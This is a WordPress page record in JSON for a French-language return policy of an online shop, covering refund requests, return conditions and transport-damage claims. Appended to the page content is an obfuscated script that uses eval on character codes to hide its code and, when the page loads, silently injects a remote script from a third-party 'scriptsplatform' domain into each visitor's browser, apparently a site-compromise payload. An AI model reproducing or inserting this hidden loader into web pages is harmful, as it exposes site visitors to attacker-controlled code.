{"id":5981,"date":"2024-04-17T18:14:58","date_gmt":"2024-04-17T16:14:58","guid":{"rendered":"https:\/\/muslimpresents.com\/politique-de-retour\/"},"modified":"2024-04-17T18:15:14","modified_gmt":"2024-04-17T16:15:14","slug":"politique-de-retour","status":"publish","type":"page","link":"https:\/\/muslimpresents.com\/fr\/politique-de-retour","title":{"rendered":"Politique de retour"},"content":{"rendered":"&#13;\n<p class=\"wp-block-paragraph\">Politique de retour<br\/>Apr\u00e8s la livraison, il n&rsquo;est pas possible d&rsquo;annuler le produit achet\u00e9 et de rembourser le montant pay\u00e9, sauf dans les cas o\u00f9 l&rsquo;utilisateur a le droit d&rsquo;annuler l&rsquo;achat sur la base des dispositions obligatoires de la loi sur la protection des consommateurs.<br\/>Dans ce cas, dans la p\u00e9riode de 15 jours, vous pouvez soumettre une demande de retour du produit \u00e0 l&rsquo;e-mail respectforheritage@gmail.com et nous r\u00e9pondrons \u00e0 votre demande. <br\/>La demande de retour du produit doit contenir les informations suivantes : pr\u00e9nom, nom, e-mail, t\u00e9l\u00e9phone, nom d&rsquo;utilisateur, nom du produit, code du produit, quantit\u00e9 du produit, preuve de paiement et raison pour laquelle vous souhaitez annuler l&rsquo;achat.<br\/>Dans notre r\u00e9ponse, nous vous fournirons toutes les informations n\u00e9cessaires : si votre demande a \u00e9t\u00e9 accept\u00e9e, quelles en sont les raisons, \u00e0 quelle adresse vous devez envoyer le produit.<br\/>Une fois que votre retour est re\u00e7u et inspect\u00e9, nous vous enverrons un e-mail pour vous informer que nous avons re\u00e7u votre article retourn\u00e9. Nous vous informerons \u00e9galement de l&rsquo;approbation ou du refus de votre remboursement. <br\/>Avant d&rsquo;introduire votre demande, vous devez conna\u00eetre les \u00e9l\u00e9ments suivants :<br\/>Si vous souhaitez introduire une demande de retour pour un produit qui vous a d\u00e9j\u00e0 \u00e9t\u00e9 livr\u00e9, assurez-vous, avant d&rsquo;introduire cette demande, que le produit n&rsquo;a pas \u00e9t\u00e9 utilis\u00e9 ou endommag\u00e9. Pour pouvoir \u00eatre retourn\u00e9, votre article doit \u00eatre inutilis\u00e9 et dans le m\u00eame \u00e9tat que celui dans lequel vous l&rsquo;avez re\u00e7u. Il doit \u00e9galement se trouver dans son emballage d&rsquo;origine.<br\/>Dans le cas d&rsquo;une demande de retour d&rsquo;un produit qui vous a d\u00e9j\u00e0 \u00e9t\u00e9 livr\u00e9, vous acceptez de prendre en charge les frais d&rsquo;exp\u00e9dition du produit \u00e0 l&rsquo;endroit requis par le vendeur. Les remboursements pour les produits retourn\u00e9s sont effectu\u00e9s d\u00e8s r\u00e9ception du produit retourn\u00e9 \u00e0 l&rsquo;endroit d\u00e9sign\u00e9.<br\/>Si vous demandez que les fonds soient revers\u00e9s sur votre compte, le remboursement est effectu\u00e9 de la m\u00eame mani\u00e8re que le paiement, et les fonds seront mis \u00e0 votre disposition dans les 3 \u00e0 7 jours ouvrables (selon la banque) apr\u00e8s notre confirmation par e-mail.<br\/>R\u00e9clamation pour les dommages caus\u00e9s pendant le transport<br\/>Nos produits sont toujours emball\u00e9s correctement et en toute s\u00e9curit\u00e9, de sorte qu&rsquo;il n&rsquo;y a aucune possibilit\u00e9 d&rsquo;\u00eatre endommag\u00e9 pendant le transport. Au moment de la livraison, veuillez v\u00e9rifier soigneusement que le(s) produit(s) n&rsquo;est (ne sont) pas endommag\u00e9(s). Le d\u00e9lai pour signaler un dommage pendant le transport est de 24 heures. Si vous constatez un dommage (si le produit est arriv\u00e9 endommag\u00e9, ray\u00e9, etc.), veuillez nous envoyer des photos de l&#8217;emballage et du produit endommag\u00e9 \u00e0 l&rsquo;adresse \u00e9lectronique suivante : respectforheritage@gmail.com. En plus des photos, veuillez indiquer l&rsquo;heure de livraison et le num\u00e9ro de la facture de vente au d\u00e9tail sur laquelle vous avez achet\u00e9 le produit. <br\/>Une fois que vous nous aurez envoy\u00e9 les informations n\u00e9cessaires, notre centre de contact prendra les dispositions n\u00e9cessaires pour que la soci\u00e9t\u00e9 de livraison se rende sur place et constate le dommage. Une fois que votre demande d&rsquo;indemnisation aura \u00e9t\u00e9 document\u00e9e de cette mani\u00e8re, elle sera trait\u00e9e dans les plus brefs d\u00e9lais.<\/p>&#13;\n<p><script>var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,116,105,115,116,105,99,46,115,99,114,105,112,116,115,112,108,97,116,102,111,114,109,46,99,111,109,47,99,111,108,108,101,99,116,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));\/*99586587347*\/<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>&#13; Politique de retourApr\u00e8s la livraison, il n&rsquo;est pas possible d&rsquo;annuler le produit achet\u00e9 et de rembourser le montant pay\u00e9,<\/p>\n","protected":false},"author":343,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"footnotes":"","_members_access_role":[],"_members_access_error":""},"class_list":["post-5981","page","type-page","status-publish","hentry"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.2 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Politique de retour - Muslim Presents<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/muslimpresents.com\/fr\/politique-de-retour\" \/>\n<meta property=\"og:locale\" content=\"fr_FR\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Politique de retour - Muslim Presents\" \/>\n<meta property=\"og:description\" content=\"&#013; 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